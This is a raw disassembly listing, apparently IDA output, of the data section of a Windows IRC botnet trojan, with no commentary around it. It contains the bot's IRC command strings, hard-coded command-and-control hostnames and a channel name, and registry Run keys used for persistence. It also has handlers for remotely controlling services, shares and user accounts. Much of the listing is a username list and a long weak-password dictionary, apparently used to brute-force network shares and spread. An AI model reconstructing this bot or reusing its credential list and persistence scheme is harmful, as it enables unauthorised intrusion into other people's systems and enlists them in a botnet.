		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------

loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F778o ...
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: sub_40E6A9+3A3r
					; sub_40E6A9+456r
dword_42F5A4	dd 0C8Bh		; DATA XREF: sub_40E6A9+4A2r
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: sub_40E6A9+13Dr
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; sub_40E6A9:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn445		db 'asn445',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn139		db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: sub_40E6A9+5Ao
					; sub_40EE72+3E42o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber2_ircqfor	db 'saber2.ircqforum.com',0 ; DATA XREF: sub_40E6A9+38Eo
					; sub_40E6A9+447o
		align 4
aFaak		db '#faak#',0           ; DATA XREF: sub_40E6A9+3AFo
					; sub_40E6A9+45Do
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: sub_40E6A9+3C6o
					; sub_40E6A9+46Fo
		align 4
byte_42F654	db 73h			; DATA XREF: sub_40E6A9:loc_40EB2Er
					; sub_40E6A9+493o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#faak#',0           ; DATA XREF: sub_40E6A9+4A9o
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: sub_40E6A9+4BBo
		align 4
byte_42F678	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F688	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 10h
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120F1o
					; sub_40EE72+509Co
		align 10h
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C8	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6CC	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_43C80C
		dd offset byte_43C80C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_434C30	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4289BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
